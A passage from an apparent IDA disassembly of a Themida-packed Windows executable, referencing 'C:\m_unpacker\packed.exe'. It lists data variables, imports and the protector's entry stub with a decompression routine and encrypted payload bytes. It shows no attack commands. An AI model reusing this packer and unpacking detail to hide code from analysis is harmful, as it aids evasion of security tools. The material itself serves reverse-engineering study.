					; sub_419460+12Do
dword_4DB2CC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
dword_4DB4D0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6D0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8E4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB920	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB974	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB978	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB980	dd 2450B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB984	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB988	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB9A0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB9A4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9B0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9BA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9C0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9C2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9C8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9E4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9F8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DBA00	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DBA04	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA14	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB3C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB40	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB48	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB52	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB70	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB74	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB78	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB7C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB80	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB88	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBD4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBD6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBD8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBDA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBDE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBE0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBE2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBE4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC28	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC2A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC2C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC2E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC32	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC34	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC36	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC38	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC3C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC50	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC54	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC58	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC5C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC60	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC6C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC74	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC78	dd 2451140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0C8o
					; ___:0043D0D0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2450650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2450000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2450758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2450758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000FA000 (1024000.)
; Section size in file		: 000FA000 (1024000.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0A2044C66h, 47488h, 54449h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054AA1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054DEE1 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054E157 SIZE 00000050 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043812Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_54AA1C
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_54AA1C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15634C0h, 2223BFAEh,	0BCEB47B8h, 2E848B92h, 1BE178BCh
		dd 0B82188EFh, 36C8EF47h, 0BCEF42B8h, 73650752h, 33726174h
		dd 2E8B7041h, 8E778D3h,	0CC0E7757h, 0A3AB1003h,	0AB6B8401h
		dd 0AB10018Eh, 7A3388EBh, 9AD718EFh, 8510398h, 246E5E55h
		dd 0BFAF1003h, 0AF18A3F5h, 65685400h, 6164696Dh, 0DF5D0894h
		dd 0E1033546h, 71C8BB0Fh, 0C8BB47B8h, 0EB46B811h, 3F8401F3h
		dd 0C58BE1FFh, 7060D4C8h, 815D88E8h, 34CFED00h,	958906A6h
		dd 0D16612Dh, 100121B5h, 80297585h, 0DD20BD83h,	1C74E031h
		dd 89E88B0Ch, 3169B8E2h, 701CEFC2h, 3E712444h, 6A000619h
		dd 0A360E845h, 749A6829h, 50077A83h, 1E250ADFh,	910A894Bh
		dd 14E90AD5h, 0D057EC02h, 0EC0A8B55h, 0EED8C483h, 0EA815AC0h
		dd 8B3540BDh, 45C7DA09h, 18081BD8h, 889400Eh, 80FC7D81h
		dd 0F741DC6h, 33087F20h, 0FF452783h, 0EB43120Ch, 6EDC36E1h
		dd 0C9822661h, 468004C2h, 0FF7CC481h, 0C44902D1h, 8D003606h
		dd 5D8B8045h, 85C70814h, 8D504419h, 0C3D10AA0h,	4118880Ah
		dd 818A0B89h, 5D2006BDh, 27E37529h, 8EBA8D42h, 8075C064h
		dd 49BB0E8Ah, 0B8005BF4h, 785437ABh, 0FFCD0D3h,	754B08C3h
		dd 0C3AFB0F7h, 4A465247h, 0F92A4646h, 61D12B42h, 75D0A08Ah
		dd 0EE8AFDF0h, 0A4DFC45h, 3CAD04EBh, 3E80468Ch,	0BA53F740h
		dd 61346E84h, 7FEB0C7Dh, 0CCF83E90h, 84F0126Dh,	10F40ECAh
		dd 65C14A81h, 0D64004F0h, 39E0D1F8h, 2860C203h,	1C8ADB33h
		dd 0FB80301Ch, 0A0A72CCh, 5773D39h, 67F2EB3Eh, 0F6611422h
		dd 667F0A0Dh, 5F1E086Fh, 0AC0AC34Eh, 30411A10h,	460A0B72h
		dd 24DE0677h, 5D0118A2h, 83F4ECF0h, 21B7D73h, 370CB072h
		dd 66A576C0h, 0F84126AAh, 6A8D07CEh, 553B00A8h,	78820FFCh
		dd 0C1B0BDA9h, 5038BEAAh, 0B9E008BAh, 0FCA870E0h, 37404CBDh
		dd 470F01FEh, 0B9FA7549h, 0DC6AC522h, 0F4E301BBh, 0EB6F82F1h
		dd 8E801D0Ch, 0A7394886h, 65513807h, 0FE1D3637h, 0A268AE5h
		dd 305E907h, 4811059h, 8C670F07h, 53F26BDFh, 210B81E9h
		dd 8AC8C45Bh, 5250C55h,	19084582h, 534321C0h, 671F9C4h
		dd 2C4E3A48h, 0F1636CC3h, 380FEACEh, 72C129h, 0BC5B8506h
		dd 197A32ADh, 34CADD07h, 3ECB8Ch, 4E398267h, 0F76005Bh
		dd 3D51B810h, 3BF8D104h, 4AC346ECh, 0AB2E0975h,	480E0111h
		dd 9065E4ECh, 846C4006h, 8E1505C5h, 23895B96h, 0C204C253h
		dd 718C29A3h, 0EE7E836h, 88FFECC6h, 4607781h, 0C1341D22h
		dd 33F90C84h, 3FBC2075h, 0B30ABB83h, 23039EFh, 4CEC419Ch
		dd 0FFCC7F8Ch, 7F8640FCh, 60E95245h, 52C46280h,	25044D8Ch
		dd 0B1AA8211h, 5A68AB26h, 56451384h, 825EEF30h,	816655EEh
		dd 27241042h, 10B9D58Ah, 97292313h, 0DE94343h, 0B2FE1102h
		dd 60E1750Ah, 14889D81h, 0D406FC0Bh, 65CD912h, 9DEAE020h
		dd 360E3BE4h, 40B18459h, 0D3340489h, 0D82800B3h, 6794AE6Fh
		dd 0EA30DA8Dh, 0AC8E310Bh, 7C2200B8h, 0A2EB9CC5h, 0E20F8183h
		dd 80BC6705h, 10CA0B1Ah, 33346086h, 0B2D6DC82h,	0C867C61Fh
		dd 0E015520Ch, 0EA21C602h, 0E9500B37h, 2300EC4Bh, 3ED0521Fh
		dd 38955BFh, 84E7A3BBh,	51883CA7h, 82A48310h, 2DA45C71h
		dd 0C4610C81h, 3100EC82h, 0B142E728h, 738C622Ah, 868A0DC9h
		dd 8330308Eh, 1C2F7FA2h, 1A181018h, 0CE9180Ah, 6A534Bh
		dd 3DD77DFDh, 8550C1EAh, 0ED8B6509h, 0C22A0159h, 86D2B05Eh
		dd 807D74D1h, 0FE13F588h, 0DF5000DAh, 69627153h, 22C21DBDh
		dd 44E960FAh, 3B9100BDh, 9E10582Dh, 0ABB83DC4h,	6D0C2A79h
		dd 270AE96Ah, 194C0024h, 12B0F12Fh, 0B3071826h,	8C5F5BCEh
		dd 1432ECCCh, 0A665FA50h, 0F0DB34C0h, 84002E31h, 0FC7B1938h
		dd 152F0416h, 2FD03AAAh, 6900413Dh, 15ABA619h, 5720EAEEh
		dd 0F482015Ah, 3471BF93h, 0F2C4DCF6h, 361497F6h, 94B98510h
		dd 725B01A8h, 198A77E0h, 0C0908D47h, 18E984D1h,	2B15EA03h
		dd 42009B23h, 2F3990B6h, 52E251h, 46ABBDA9h, 5F1117CFh
		dd 498EAF1Ch, 518105Dh,	4BA6739h, 0F084F851h, 81338202h
		dd 54049CAh, 44009C6Dh,	1363970Bh, 57CF5Fh, 6AE85C8Dh
		dd 1F0CA6E1h, 38F00A07h, 9C804E09h, 5C7E95h, 733F2D34h
		dd 20026FCFh, 4107AE0Ch, 28103Ah, 63218E80h, 16E30649h
		dd 0ECACCC00h, 17933B24h, 0BBE618CAh, 0D2AD706Fh, 77F3C403h
		dd 82A7EC78h, 34BD6037h, 0BEFE007Fh, 484E5FF5h,	0F70062C3h
		dd 0F3B69FDEh, 1BA017A4h, 49B4C802h, 1C16DFA8h,	0DE821500h
		dd 88853474h, 6BF601AAh, 0F4F82D52h, 0DF75F4E4h, 0B3876103h
		dd 5EFF84h, 5D9FD3B0h, 0AD30574Ch, 2E549300h, 6522EA9Eh
		dd 6FE80EBEh, 1D66CE5Fh, 133D304Ah, 9D9A00A6h, 0EED808DDh
		dd 0E9B3E0Fh, 152F1180h, 0C01329E2h, 783E9C3Ah,	68C3790Eh
		dd 0B33F207Fh, 0C02F57C8h, 4709E218h, 0E00F4C9h, 0E16995A8h
		dd 4854FEh, 1970DFB1h, 0FBCB9438h, 0A015DE01h, 0EF1FF35Bh
		dd 6FF050F9h, 7F0EBF2h,	69296106h, 873C1Bh, 0FE4116h, 952E7064h
